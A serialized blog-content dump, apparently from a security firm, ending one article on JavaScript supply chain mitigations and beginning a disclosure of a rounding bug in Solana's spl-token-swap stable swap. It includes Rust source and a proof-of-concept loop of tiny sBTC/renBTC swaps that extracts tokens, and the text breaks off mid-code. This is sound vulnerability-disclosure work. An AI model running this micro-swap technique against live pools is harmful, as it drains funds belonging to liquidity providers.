SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":21,"tag":3164,"props":3596,"children":3598},{"style":3597},"display:flex; align-items:center; flex-direction:column;",[3599],{"type":21,"tag":1376,"props":3600,"children":3604},{"src":3601,"alt":3602,"style":3603},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr","max-height:550px;",[],{"type":21,"tag":3606,"props":3607,"children":3610},"section",{"className":3608,"dataFootnotes":7},[3609],"footnotes",[3611,3618],{"type":21,"tag":22,"props":3612,"children":3615},{"className":3613,"id":130},[3614],"sr-only",[3616],{"type":27,"value":3617},"Footnotes",{"type":21,"tag":71,"props":3619,"children":3620},{},[3621],{"type":21,"tag":75,"props":3622,"children":3624},{"id":3623},"user-content-fn-1",[3625,3627,3634,3635],{"type":27,"value":3626},"Excluding SES, which was covered ",{"type":21,"tag":34,"props":3628,"children":3631},{"href":3629,"rel":3630},"https://osec.io/blog/2023-11-01-metamask-snaps",[38],[3632],{"type":27,"value":3633},"in our last article",{"type":27,"value":915},{"type":21,"tag":34,"props":3636,"children":3641},{"href":3637,"ariaLabel":3638,"className":3639,"dataFootnoteBackref":7},"#user-content-fnref-1","Back to reference 1",[3640],"data-footnote-backref",[3642],{"type":27,"value":3643},"↩",{"type":21,"tag":3645,"props":3646,"children":3647},"style",{},[3648],{"type":27,"value":3649},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":217,"depth":217,"links":3651},[3652,3656,3662,3668,3669,3670],{"id":24,"depth":217,"text":28,"children":3653},[3654,3655],{"id":61,"depth":236,"text":64},{"id":113,"depth":236,"text":116},{"id":941,"depth":217,"text":944,"children":3657},[3658,3659,3660,3661],{"id":1199,"depth":236,"text":1202},{"id":1695,"depth":236,"text":1698},{"id":2373,"depth":236,"text":2376},{"id":2496,"depth":236,"text":2499},{"id":2617,"depth":217,"text":2620,"children":3663},[3664,3665,3666,3667],{"id":2748,"depth":236,"text":2751},{"id":3112,"depth":236,"text":3115},{"id":3280,"depth":236,"text":3283},{"id":3523,"depth":236,"text":3526},{"id":3552,"depth":217,"text":3555},{"id":3586,"depth":217,"text":3589},{"id":130,"depth":217,"text":3617},"markdown","content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","content","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era","md",[3678,6192,6529,10071,14422,19542,29806,31232,31995,36195,41200,46632,47787,50896,61291,68020,69859,71569,76234,90133,92854,97643,100083,102428,108214,124034,132334,142258,147536,156929,159266],{"_path":3679,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":3680,"description":3681,"image":3682,"date":3686,"isFeatured":16,"tags":3687,"onBlogPage":16,"body":3690,"_type":3671,"_id":6189,"_source":3673,"_file":6190,"_stem":6191,"_extension":3676},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":3683,"width":3684,"height":3685},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[3688,3689],"solana","report",{"type":18,"children":3691,"toc":6183},[3692,3706,3711,3716,3724,3730,3735,3740,3749,3757,3762,3767,3775,3780,3785,4161,4171,4176,4712,4717,4725,4732,4738,4743,4748,4753,4760,4772,4777,4788,5025,5030,5035,5041,5046,5051,5097,5102,5110,5115,5120,5125,5270,5283,5398,5412,5420,5434,5442,5455,5460,5472,5480,5502,6120,6126,6131,6144,6157,6164,6169,6174,6179],{"type":21,"tag":30,"props":3693,"children":3694},{},[3695,3697,3704],{"type":27,"value":3696},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":21,"tag":34,"props":3698,"children":3701},{"href":3699,"rel":3700},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[38],[3702],{"type":27,"value":3703},"spl-token-swap",{"type":27,"value":3705},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":21,"tag":30,"props":3707,"children":3708},{},[3709],{"type":27,"value":3710},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":21,"tag":30,"props":3712,"children":3713},{},[3714],{"type":27,"value":3715},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":21,"tag":30,"props":3717,"children":3718},{},[3719],{"type":21,"tag":1671,"props":3720,"children":3721},{},[3722],{"type":27,"value":3723},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":21,"tag":22,"props":3725,"children":3727},{"id":3726},"discovery",[3728],{"type":27,"value":3729},"Discovery",{"type":21,"tag":30,"props":3731,"children":3732},{},[3733],{"type":27,"value":3734},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":21,"tag":30,"props":3736,"children":3737},{},[3738],{"type":27,"value":3739},"After a while, he noticed something weird..",{"type":21,"tag":3741,"props":3742,"children":3743},"blockquote",{},[3744],{"type":21,"tag":30,"props":3745,"children":3746},{},[3747],{"type":27,"value":3748},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":21,"tag":187,"props":3750,"children":3752},{"code":3751},"KwnjUuZ : 0 9vMJfxu -> 1 EPjFWdd\nKwnjUuZ : 1 EPjFWdd -> 2 9vMJfxu\nKwnjUuZ : 2 9vMJfxu -> 3 EPjFWdd\nHU1tejU : 3 EPjFWdd -> 625 PRT88Rk\n24ZbKS3 : 625 PRT88Rk -> 7 EPjFWdd\n3oRPcFa : 7 EPjFWdd -> 6 BQcdHdA\n",[3753],{"type":21,"tag":194,"props":3754,"children":3755},{"__ignoreMap":7},[3756],{"type":27,"value":3751},{"type":21,"tag":30,"props":3758,"children":3759},{},[3760],{"type":27,"value":3761},"Somehow, we were getting tokens from nothing?",{"type":21,"tag":30,"props":3763,"children":3764},{},[3765],{"type":27,"value":3766},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":21,"tag":187,"props":3768,"children":3770},{"code":3769},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[3771],{"type":21,"tag":194,"props":3772,"children":3773},{"__ignoreMap":7},[3774],{"type":27,"value":3769},{"type":21,"tag":30,"props":3776,"children":3777},{},[3778],{"type":27,"value":3779},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":21,"tag":30,"props":3781,"children":3782},{},[3783],{"type":27,"value":3784},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":21,"tag":187,"props":3786,"children":3790},{"code":3787,"language":3788,"meta":7,"className":3789,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n if y_new == y {\n break;\n } else {\n y = y_new;\n }\n }\n","rust","language-rust shiki shiki-themes slack-dark",[3791],{"type":21,"tag":194,"props":3792,"children":3793},{"__ignoreMap":7},[3794,3802,3833,3866,3967,4072,4098,4110,4127,4147,4154],{"type":21,"tag":198,"props":3795,"children":3796},{"class":200,"line":201},[3797],{"type":21,"tag":198,"props":3798,"children":3799},{"style":1233},[3800],{"type":27,"value":3801}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":21,"tag":198,"props":3803,"children":3804},{"class":200,"line":217},[3805,3810,3815,3820,3824,3829],{"type":21,"tag":198,"props":3806,"children":3807},{"style":249},[3808],{"type":27,"value":3809}," let",{"type":21,"tag":198,"props":3811,"children":3812},{"style":249},[3813],{"type":27,"value":3814}," mut",{"type":21,"tag":198,"props":3816,"children":3817},{"style":226},[3818],{"type":27,"value":3819}," y",{"type":21,"tag":198,"props":3821,"children":3822},{"style":683},[3823],{"type":27,"value":979},{"type":21,"tag":198,"props":3825,"children":3826},{"style":226},[3827],{"type":27,"value":3828}," d_val",{"type":21,"tag":198,"props":3830,"children":3831},{"style":211},[3832],{"type":27,"value":1483},{"type":21,"tag":198,"props":3834,"children":3835},{"class":200,"line":236},[3836,3841,3846,3851,3856,3861],{"type":21,"tag":198,"props":3837,"children":3838},{"style":640},[3839],{"type":27,"value":3840}," for",{"type":21,"tag":198,"props":3842,"children":3843},{"style":226},[3844],{"type":27,"value":3845}," _",{"type":21,"tag":198,"props":3847,"children":3848},{"style":249},[3849],{"type":27,"value":3850}," in",{"type":21,"tag":198,"props":3852,"children":3853},{"style":2540},[3854],{"type":27,"value":3855}," 0",{"type":21,"tag":198,"props":3857,"children":3858},{"style":683},[3859],{"type":27,"value":3860},"..",{"type":21,"tag":198,"props":3862,"children":3863},{"style":211},[3864],{"type":27,"value":3865},"ITERATIONS {\n",{"type":21,"tag":198,"props":3867,"children":3868},{"class":200,"line":260},[3869,3874,3878,3883,3887,3892,3896,3900,3904,3909,3913,3918,3923,3927,3932,3936,3941,3946,3950,3955,3959,3963],{"type":21,"tag":198,"props":3870,"children":3871},{"style":249},[3872],{"type":27,"value":3873}," let",{"type":21,"tag":198,"props":3875,"children":3876},{"style":211},[3877],{"type":27,"value":648},{"type":21,"tag":198,"props":3879,"children":3880},{"style":226},[3881],{"type":27,"value":3882},"y_new",{"type":21,"tag":198,"props":3884,"children":3885},{"style":211},[3886],{"type":27,"value":828},{"type":21,"tag":198,"props":3888,"children":3889},{"style":226},[3890],{"type":27,"value":3891},"_",{"type":21,"tag":198,"props":3893,"children":3894},{"style":211},[3895],{"type":27,"value":1541},{"type":21,"tag":198,"props":3897,"children":3898},{"style":683},[3899],{"type":27,"value":3174},{"type":21,"tag":198,"props":3901,"children":3902},{"style":211},[3903],{"type":27,"value":648},{"type":21,"tag":198,"props":3905,"children":3906},{"style":698},[3907],{"type":27,"value":3908},"checked_u8_power",{"type":21,"tag":198,"props":3910,"children":3911},{"style":211},[3912],{"type":27,"value":706},{"type":21,"tag":198,"props":3914,"children":3915},{"style":683},[3916],{"type":27,"value":3917},"&",{"type":21,"tag":198,"props":3919,"children":3920},{"style":226},[3921],{"type":27,"value":3922},"y",{"type":21,"tag":198,"props":3924,"children":3925},{"style":211},[3926],{"type":27,"value":828},{"type":21,"tag":198,"props":3928,"children":3929},{"style":2540},[3930],{"type":27,"value":3931},"2",{"type":21,"tag":198,"props":3933,"children":3934},{"style":211},[3935],{"type":27,"value":2109},{"type":21,"tag":198,"props":3937,"children":3938},{"style":683},[3939],{"type":27,"value":3940},"?.",{"type":21,"tag":198,"props":3942,"children":3943},{"style":698},[3944],{"type":27,"value":3945},"checked_add",{"type":21,"tag":198,"props":3947,"children":3948},{"style":211},[3949],{"type":27,"value":706},{"type":21,"tag":198,"props":3951,"children":3952},{"style":226},[3953],{"type":27,"value":3954},"c",{"type":21,"tag":198,"props":3956,"children":3957},{"style":211},[3958],{"type":27,"value":2109},{"type":21,"tag":198,"props":3960,"children":3961},{"style":683},[3962],{"type":27,"value":2156},{"type":21,"tag":198,"props":3964,"children":3965},{"style":211},[3966],{"type":27,"value":789},{"type":21,"tag":198,"props":3968,"children":3969},{"class":200,"line":281},[3970,3975,3980,3984,3989,3993,3997,4001,4005,4009,4013,4017,4021,4025,4030,4034,4038,4043,4047,4052,4056,4060,4064,4068],{"type":21,"tag":198,"props":3971,"children":3972},{"style":683},[3973],{"type":27,"value":3974}," .",{"type":21,"tag":198,"props":3976,"children":3977},{"style":698},[3978],{"type":27,"value":3979},"checked_ceil_div",{"type":21,"tag":198,"props":3981,"children":3982},{"style":211},[3983],{"type":27,"value":706},{"type":21,"tag":198,"props":3985,"children":3986},{"style":698},[3987],{"type":27,"value":3988},"checked_u8_mul",{"type":21,"tag":198,"props":3990,"children":3991},{"style":211},[3992],{"type":27,"value":706},{"type":21,"tag":198,"props":3994,"children":3995},{"style":683},[3996],{"type":27,"value":3917},{"type":21,"tag":198,"props":3998,"children":3999},{"style":226},[4000],{"type":27,"value":3922},{"type":21,"tag":198,"props":4002,"children":4003},{"style":211},[4004],{"type":27,"value":828},{"type":21,"tag":198,"props":4006,"children":4007},{"style":2540},[4008],{"type":27,"value":3931},{"type":21,"tag":198,"props":4010,"children":4011},{"style":211},[4012],{"type":27,"value":2109},{"type":21,"tag":198,"props":4014,"children":4015},{"style":683},[4016],{"type":27,"value":3940},{"type":21,"tag":198,"props":4018,"children":4019},{"style":698},[4020],{"type":27,"value":3945},{"type":21,"tag":198,"props":4022,"children":4023},{"style":211},[4024],{"type":27,"value":706},{"type":21,"tag":198,"props":4026,"children":4027},{"style":226},[4028],{"type":27,"value":4029},"b",{"type":21,"tag":198,"props":4031,"children":4032},{"style":211},[4033],{"type":27,"value":2109},{"type":21,"tag":198,"props":4035,"children":4036},{"style":683},[4037],{"type":27,"value":3940},{"type":21,"tag":198,"props":4039,"children":4040},{"style":698},[4041],{"type":27,"value":4042},"checked_sub",{"type":21,"tag":198,"props":4044,"children":4045},{"style":211},[4046],{"type":27,"value":706},{"type":21,"tag":198,"props":4048,"children":4049},{"style":226},[4050],{"type":27,"value":4051},"d_val",{"type":21,"tag":198,"props":4053,"children":4054},{"style":211},[4055],{"type":27,"value":2109},{"type":21,"tag":198,"props":4057,"children":4058},{"style":683},[4059],{"type":27,"value":2156},{"type":21,"tag":198,"props":4061,"children":4062},{"style":211},[4063],{"type":27,"value":2109},{"type":21,"tag":198,"props":4065,"children":4066},{"style":683},[4067],{"type":27,"value":2156},{"type":21,"tag":198,"props":4069,"children":4070},{"style":211},[4071],{"type":27,"value":1483},{"type":21,"tag":198,"props":4073,"children":4074},{"class":200,"line":302},[4075,4080,4085,4090,4094],{"type":21,"tag":198,"props":4076,"children":4077},{"style":640},[4078],{"type":27,"value":4079}," if",{"type":21,"tag":198,"props":4081,"children":4082},{"style":226},[4083],{"type":27,"value":4084}," y_new",{"type":21,"tag":198,"props":4086,"children":4087},{"style":683},[4088],{"type":27,"value":4089}," ==",{"type":21,"tag":198,"props":4091,"children":4092},{"style":226},[4093],{"type":27,"value":3819},{"type":21,"tag":198,"props":4095,"children":4096},{"style":211},[4097],{"type":27,"value":233},{"type":21,"tag":198,"props":4099,"children":4100},{"class":200,"line":323},[4101,4106],{"type":21,"tag":198,"props":4102,"children":4103},{"style":640},[4104],{"type":27,"value":4105}," break",{"type":21,"tag":198,"props":4107,"children":4108},{"style":211},[4109],{"type":27,"value":1483},{"type":21,"tag":198,"props":4111,"children":4112},{"class":200,"line":344},[4113,4118,4123],{"type":21,"tag":198,"props":4114,"children":4115},{"style":211},[4116],{"type":27,"value":4117}," } ",{"type":21,"tag":198,"props":4119,"children":4120},{"style":640},[4121],{"type":27,"value":4122},"else",{"type":21,"tag":198,"props":4124,"children":4125},{"style":211},[4126],{"type":27,"value":233},{"type":21,"tag":198,"props":4128,"children":4129},{"class":200,"line":365},[4130,4135,4139,4143],{"type":21,"tag":198,"props":4131,"children":4132},{"style":226},[4133],{"type":27,"value":4134}," y",{"type":21,"tag":198,"props":4136,"children":4137},{"style":683},[4138],{"type":27,"value":979},{"type":21,"tag":198,"props":4140,"children":4141},{"style":226},[4142],{"type":27,"value":4084},{"type":21,"tag":198,"props":4144,"children":4145},{"style":211},[4146],{"type":27,"value":1483},{"type":21,"tag":198,"props":4148,"children":4149},{"class":200,"line":386},[4150],{"type":21,"tag":198,"props":4151,"children":4152},{"style":211},[4153],{"type":27,"value":1160},{"type":21,"tag":198,"props":4155,"children":4156},{"class":200,"line":408},[4157],{"type":21,"tag":198,"props":4158,"children":4159},{"style":211},[4160],{"type":27,"value":880},{"type":21,"tag":30,"props":4162,"children":4163},{},[4164,4169],{"type":21,"tag":1671,"props":4165,"children":4166},{},[4167],{"type":27,"value":4168},"approximate",{"type":27,"value":4170},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":21,"tag":30,"props":4172,"children":4173},{},[4174],{"type":27,"value":4175},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":21,"tag":187,"props":4177,"children":4179},{"code":4178,"language":3788,"meta":7,"className":3789,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n // create swap transaction\n let mut swap_instruction = swap(\n &spl_token::id(),\n &swap_pubkey,\n &swap_authority_pubkey,\n &test_account_signer.pubkey(),\n &sbtc_user_account,\n &sbtc_reserve,\n &renbtc_reserve,\n &renbtc_user_account,\n &admin_fee_account_sbtc_to_ren,\n 1,\n 2\n ).unwrap();\n\n // nonce\n swap_instruction.data.append(&mut vec![i, extranonce]);\n\n let mut instructions = vec![];\n\n instructions.push(swap_instruction);\n\n env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[4180],{"type":21,"tag":194,"props":4181,"children":4182},{"__ignoreMap":7},[4183,4191,4231,4239,4269,4297,4313,4329,4354,4370,4386,4402,4418,4434,4446,4454,4475,4482,4491,4559,4567,4597,4605,4636,4644,4704],{"type":21,"tag":198,"props":4184,"children":4185},{"class":200,"line":201},[4186],{"type":21,"tag":198,"props":4187,"children":4188},{"style":1233},[4189],{"type":27,"value":4190},"// from sbtc to renbtc\n",{"type":21,"tag":198,"props":4192,"children":4193},{"class":200,"line":217},[4194,4199,4204,4208,4212,4217,4222,4227],{"type":21,"tag":198,"props":4195,"children":4196},{"style":640},[4197],{"type":27,"value":4198},"for",{"type":21,"tag":198,"props":4200,"children":4201},{"style":226},[4202],{"type":27,"value":4203}," i",{"type":21,"tag":198,"props":4205,"children":4206},{"style":249},[4207],{"type":27,"value":3850},{"type":21,"tag":198,"props":4209,"children":4210},{"style":2540},[4211],{"type":27,"value":3855},{"type":21,"tag":198,"props":4213,"children":4214},{"style":683},[4215],{"type":27,"value":4216}," ..",{"type":21,"tag":198,"props":4218,"children":4219},{"style":2540},[4220],{"type":27,"value":4221}," 50",{"type":21,"tag":198,"props":4223,"children":4224},{"style":1966},[4225],{"type":27,"value":4226},"u8",{"type":21,"tag":198,"props":4228,"children":4229},{"style":211},[4230],{"type":27,"value":233},{"type":21,"tag":198,"props":4232,"children":4233},{"class":200,"line":236},[4234],{"type":21,"tag":198,"props":4235,"children":4236},{"style":1233},[4237],{"type":27,"value":4238}," // create swap transaction\n",{"type":21,"tag":198,"props":4240,"children":4241},{"class":200,"line":260},[4242,4246,4250,4255,4259,4264],{"type":21,"tag":198,"props":4243,"children":4244},{"style":249},[4245],{"type":27,"value":3809},{"type":21,"tag":198,"props":4247,"children":4248},{"style":249},[4249],{"type":27,"value":3814},{"type":21,"tag":198,"props":4251,"children":4252},{"style":226},[4253],{"type":27,"value":4254}," swap_instruction",{"type":21,"tag":198,"props":4256,"children":4257},{"style":683},[4258],{"type":27,"value":979},{"type":21,"tag":198,"props":4260,"children":4261},{"style":698},[4262],{"type":27,"value":4263}," swap",{"type":21,"tag":198,"props":4265,"children":4266},{"style":211},[4267],{"type":27,"value":4268},"(\n",{"type":21,"tag":198,"props":4270,"children":4271},{"class":200,"line":281},[4272,4277,4282,4287,4292],{"type":21,"tag":198,"props":4273,"children":4274},{"style":683},[4275],{"type":27,"value":4276}," &",{"type":21,"tag":198,"props":4278,"children":4279},{"style":211},[4280],{"type":27,"value":4281},"spl_token",{"type":21,"tag":198,"props":4283,"children":4284},{"style":683},[4285],{"type":27,"value":4286},"::",{"type":21,"tag":198,"props":4288,"children":4289},{"style":698},[4290],{"type":27,"value":4291},"id",{"type":21,"tag":198,"props":4293,"children":4294},{"style":211},[4295],{"type":27,"value":4296},"(),\n",{"type":21,"tag":198,"props":4298,"children":4299},{"class":200,"line":302},[4300,4304,4309],{"type":21,"tag":198,"props":4301,"children":4302},{"style":683},[4303],{"type":27,"value":4276},{"type":21,"tag":198,"props":4305,"children":4306},{"style":226},[4307],{"type":27,"value":4308},"swap_pubkey",{"type":21,"tag":198,"props":4310,"children":4311},{"style":211},[4312],{"type":27,"value":257},{"type":21,"tag":198,"props":4314,"children":4315},{"class":200,"line":323},[4316,4320,4325],{"type":21,"tag":198,"props":4317,"children":4318},{"style":683},[4319],{"type":27,"value":4276},{"type":21,"tag":198,"props":4321,"children":4322},{"style":226},[4323],{"type":27,"value":4324},"swap_authority_pubkey",{"type":21,"tag":198,"props":4326,"children":4327},{"style":211},[4328],{"type":27,"value":257},{"type":21,"tag":198,"props":4330,"children":4331},{"class":200,"line":344},[4332,4336,4341,4345,4350],{"type":21,"tag":198,"props":4333,"children":4334},{"style":683},[4335],{"type":27,"value":4276},{"type":21,"tag":198,"props":4337,"children":4338},{"style":226},[4339],{"type":27,"value":4340},"test_account_signer",{"type":21,"tag":198,"props":4342,"children":4343},{"style":683},[4344],{"type":27,"value":658},{"type":21,"tag":198,"props":4346,"children":4347},{"style":698},[4348],{"type":27,"value":4349},"pubkey",{"type":21,"tag":198,"props":4351,"children":4352},{"style":211},[4353],{"type":27,"value":4296},{"type":21,"tag":198,"props":4355,"children":4356},{"class":200,"line":365},[4357,4361,4366],{"type":21,"tag":198,"props":4358,"children":4359},{"style":683},[4360],{"type":27,"value":4276},{"type":21,"tag":198,"props":4362,"children":4363},{"style":226},[4364],{"type":27,"value":4365},"sbtc_user_account",{"type":21,"tag":198,"props":4367,"children":4368},{"style":211},[4369],{"type":27,"value":257},{"type":21,"tag":198,"props":4371,"children":4372},{"class":200,"line":386},[4373,4377,4382],{"type":21,"tag":198,"props":4374,"children":4375},{"style":683},[4376],{"type":27,"value":4276},{"type":21,"tag":198,"props":4378,"children":4379},{"style":226},[4380],{"type":27,"value":4381},"sbtc_reserve",{"type":21,"tag":198,"props":4383,"children":4384},{"style":211},[4385],{"type":27,"value":257},{"type":21,"tag":198,"props":4387,"children":4388},{"class":200,"line":408},[4389,4393,4398],{"type":21,"tag":198,"props":4390,"children":4391},{"style":683},[4392],{"type":27,"value":4276},{"type":21,"tag":198,"props":4394,"children":4395},{"style":226},[4396],{"type":27,"value":4397},"renbtc_reserve",{"type":21,"tag":198,"props":4399,"children":4400},{"style":211},[4401],{"type":27,"value":257},{"type":21,"tag":198,"props":4403,"children":4404},{"class":200,"line":429},[4405,4409,4414],{"type":21,"tag":198,"props":4406,"children":4407},{"style":683},[4408],{"type":27,"value":4276},{"type":21,"tag":198,"props":4410,"children":4411},{"style":226},[4412],{"type":27,"value":4413},"renbtc_user_account",{"type":21,"tag":198,"props":4415,"children":4416},{"style":211},[4417],{"type":27,"value":257},{"type":21,"tag":198,"props":4419,"children":4420},{"class":200,"line":450},[4421,4425,4430],{"type":21,"tag":198,"props":4422,"children":4423},{"style":683},[4424],{"type":27,"value":4276},{"type":21,"tag":198,"props":4426,"children":4427},{"style":226},[4428],{"type":27,"value":4429},"admin_fee_account_sbtc_to_ren",{"type":21,"tag":198,"props":4431,"children":4432},{"style":211},[4433],{"type":27,"value":257},{"type":21,"tag":198,"props":4435,"children":4436},{"class":200,"line":468},[4437,4442],{"type":21,"tag":198,"props":4438,"children":4439},{"style":2540},[4440],{"type":27,"value":4441}," 1",{"type":21,"tag":198,"props":4443,"children":4444},{"style":211},[4445],{"type":27,"value":257},{"type":21,"tag":198,"props":4447,"children":4448},{"class":200,"line":477},[4449],{"type":21,"tag":198,"props":4450,"children":4451},{"style":2540},[4452],{"type":27,"value":4453}," 2\n",{"type":21,"tag":198,"props":4455,"children":4456},{"class":200,"line":494},[4457,4462,4466,4471],{"type":21,"tag":198,"props":4458,"children":4459},{"style":211},[4460],{"type":27,"value":4461}," )",{"type":21,"tag":198,"props":4463,"children":4464},{"style":683},[4465],{"type":27,"value":658},{"type":21,"tag":198,"props":4467,"children":4468},{"style":698},[4469],{"type":27,"value":4470},"unwrap",{"type":21,"tag":198,"props":4472,"children":4473},{"style":211},[4474],{"type":27,"value":3404},{"type":21,"tag":198,"props":4476,"children":4477},{"class":200,"line":515},[4478],{"type":21,"tag":198,"props":4479,"children":4480},{"emptyLinePlaceholder":16},[4481],{"type":27,"value":1283},{"type":21,"tag":198,"props":4483,"children":4485},{"class":200,"line":4484},18,[4486],{"type":21,"tag":198,"props":4487,"children":4488},{"style":1233},[4489],{"type":27,"value":4490}," // nonce\n",{"type":21,"tag":198,"props":4492,"children":4494},{"class":200,"line":4493},19,[4495,4500,4504,4509,4513,4518,4522,4526,4531,4536,4540,4545,4549,4554],{"type":21,"tag":198,"props":4496,"children":4497},{"style":226},[4498],{"type":27,"value":4499}," swap_instruction",{"type":21,"tag":198,"props":4501,"children":4502},{"style":683},[4503],{"type":27,"value":658},{"type":21,"tag":198,"props":4505,"children":4506},{"style":211},[4507],{"type":27,"value":4508},"data",{"type":21,"tag":198,"props":4510,"children":4511},{"style":683},[4512],{"type":27,"value":658},{"type":21,"tag":198,"props":4514,"children":4515},{"style":698},[4516],{"type":27,"value":4517},"append",{"type":21,"tag":198,"props":4519,"children":4520},{"style":211},[4521],{"type":27,"value":706},{"type":21,"tag":198,"props":4523,"children":4524},{"style":683},[4525],{"type":27,"value":3917},{"type":21,"tag":198,"props":4527,"children":4528},{"style":249},[4529],{"type":27,"value":4530},"mut",{"type":21,"tag":198,"props":4532,"children":4533},{"style":698},[4534],{"type":27,"value":4535}," vec!",{"type":21,"tag":198,"props":4537,"children":4538},{"style":211},[4539],{"type":27,"value":2051},{"type":21,"tag":198,"props":4541,"children":4542},{"style":226},[4543],{"type":27,"value":4544},"i",{"type":21,"tag":198,"props":4546,"children":4547},{"style":211},[4548],{"type":27,"value":828},{"type":21,"tag":198,"props":4550,"children":4551},{"style":226},[4552],{"type":27,"value":4553},"extranonce",{"type":21,"tag":198,"props":4555,"children":4556},{"style":211},[4557],{"type":27,"value":4558},"]);\n",{"type":21,"tag":198,"props":4560,"children":4562},{"class":200,"line":4561},20,[4563],{"type":21,"tag":198,"props":4564,"children":4565},{"emptyLinePlaceholder":16},[4566],{"type":27,"value":1283},{"type":21,"tag":198,"props":4568,"children":4570},{"class":200,"line":4569},21,[4571,4575,4579,4584,4588,4592],{"type":21,"tag":198,"props":4572,"children":4573},{"style":249},[4574],{"type":27,"value":3809},{"type":21,"tag":198,"props":4576,"children":4577},{"style":249},[4578],{"type":27,"value":3814},{"type":21,"tag":198,"props":4580,"children":4581},{"style":226},[4582],{"type":27,"value":4583}," instructions",{"type":21,"tag":198,"props":4585,"children":4586},{"style":683},[4587],{"type":27,"value":979},{"type":21,"tag":198,"props":4589,"children":4590},{"style":698},[4591],{"type":27,"value":4535},{"type":21,"tag":198,"props":4593,"children":4594},{"style":211},[4595],{"type":27,"value":4596},"[];\n",{"type":21,"tag":198,"props":4598,"children":4600},{"class":200,"line":4599},22,[4601],{"type":21,"tag":198,"props":4602,"children":4603},{"emptyLinePlaceholder":16},[4604],{"type":27,"value":1283},{"type":21,"tag":198,"props":4606,"children":4608},{"class":200,"line":4607},23,[4609,4614,4618,4623,4627,4632],{"type":21,"tag":198,"props":4610,"children":4611},{"style":226},[4612],{"type":27,"value":4613}," instructions",{"type":21,"tag":198,"props":4615,"children":4616},{"style":683},[4617],{"type":27,"value":658},{"type":21,"tag":198,"props":4619,"children":4620},{"style":698},[4621],{"type":27,"value":4622},"push",{"type":21,"tag":198,"props":4624,"children":4625},{"style":211},[4626],{"type":27,"value":706},{"type":21,"tag":198,"props":4628,"children":4629},{"style":226},[4630],{"type":27,"value":4631},"swap_instruction",{"type":21,"tag":198,"props":4633,"children":4634},{"style":211},[4635],{"type":27,"value":1470},{"type":21,"tag":198,"props":4637,"children":4639},{"class":200,"line":4638},24,[4640],{"type":21,"tag":198,"props":4641,"children":4642},{"emptyLinePlaceholder":16},[4643],{"type":27,"value":1283},{"type":21,"tag":198,"props":4645,"children":4647},{"class":200,"line":4646},25,[4648,4653,4657,4662,4666,4670,4675,4679,4683,4688,4692,4696,4700],{"type":21,"tag":198,"props":4649,"children":4650},{"style":226},[4651],{"type":27,"value":4652}," env",{"type":21,"tag":198,"props":4654,"children":4655},{"style":683},[4656],{"type":27,"value":658},{"type":21,"tag":198,"props":4658,"children":4659},{"style":698},[4660],{"type":27,"value":4661},"execute_as_transaction",{"type":21,"tag":198,"props":4663,"children":4664},{"style":211},[4665],{"type":27,"value":706},{"type":21,"tag":198,"props":4667,"children":4668},{"style":683},[4669],{"type":27,"value":3917},{"type":21,"tag":198,"props":4671,"children":4672},{"style":226},[4673],{"type":27,"value":4674},"instructions",{"type":21,"tag":198,"props":4676,"children":4677},{"style":211},[4678],{"type":27,"value":828},{"type":21,"tag":198,"props":4680,"children":4681},{"style":683},[4682],{"type":27,"value":3917},{"type":21,"tag":198,"props":4684,"children":4685},{"style":698},[4686],{"type":27,"value":4687},"vec!",{"type":21,"tag":198,"props":4689,"children":4690},{"style":211},[4691],{"type":27,"value":2051},{"type":21,"tag":198,"props":4693,"children":4694},{"style":683},[4695],{"type":27,"value":3917},{"type":21,"tag":198,"props":4697,"children":4698},{"style":226},[4699],{"type":27,"value":4340},{"type":21,"tag":198,"props":4701,"children":4702},{"style":211},[4703],